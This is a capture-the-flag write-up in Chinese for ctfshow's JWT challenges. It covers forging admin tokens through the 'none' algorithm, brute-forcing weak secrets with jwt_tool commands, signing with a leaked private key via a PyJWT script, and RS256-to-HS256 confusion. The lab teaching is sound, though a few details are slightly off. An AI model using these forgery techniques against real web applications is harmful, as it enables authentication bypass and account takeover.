CTFSHOW-JWT专题

##web345

题目提示admin

看cookie有一个JWT

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NDc4OTc5OTEsImV4cCI6MTc0NzkwNTE5MSwibmJmIjoxNzQ3ODk3OTkxLCJzdWIiOiJ1c2VyIiwianRpIjoiZTYxYzdkYWZjOGZiNDFjNWUwYjg4Y2MxZDE1Nzk4YmQifV0

解析之后是:
{"alg":"None","typ":"jwt"}.[{"iss":"admin","iat":1747897991,"exp":1747905191,"nbf":1747897991,"sub":"admin","jti":"e61c7dafc8fb41c5e0b88cc1d15798bd"}]

这里没有签名部分所以只需要改sub部分为admin再经过一个base64编码就可以

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0uW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3NDc4OTc5OTEsImV4cCI6MTc0NzkwNTE5MSwibmJmIjoxNzQ3ODk3OTkxLCJzdWIiOiJhZG1pbiIsImp0aSI6ImU2MWM3ZGFmYzhmYjQxYzVlMGI4OGNjMWQxNTc5OGJkIn1d

然后再去访问/admin/目录即可

web346

有加密算法,使用jwt_tool爆破密钥123456

image-20250522154444695

修改sub为admin 然后访问/admin/目录

JWT工具介绍

使用方法:

1
2
# 使用None算法
python3 jwt_tool.py JWT_HERE ``-``X a
1
2
# 自定义修改生成
python3 jwt_tool.py JWT_HERE ``-``T
1
2
# 使用字典破解
python3 jwt_tool.py JWT_HERE ``-``C ``-``d dictionary.txt
1
2
# 指定密码测试
python3 jwt_tool.py JWT_HERE ``-``C ``-``p password_here

image-20250522154245971

爆破出正确密钥

自定义修改内容

1
python3 jwt_tool.py JWT_HERE -T

eg:
image-20250522155612353

image-20250522155630472

再选择要修改的部分就行了

image-20250522155708788

最后就会生成jwt token

web347

爆破密钥123456

web348

image-20250522163207633

爆破出密钥aabb

web349

image-20250522164232774

源码泄露,可以看到公钥和私钥被放在了web目录,直接访问/public.key/private.key下载

公钥用来解密,私钥用来加密,所以编写脚本使用私钥加密

1
2
3
4
5
6
7
import jwt

public = open('private.key', 'r').read()

payload={"user":"admin"}

print(jwt.encode(payload, key=public, algorithm='RS256'))

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM

image-20250522165108303

web350

下载源码,只有公钥没有私钥,那就把加密算法改为对称加密算法

将RS256算法改为HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。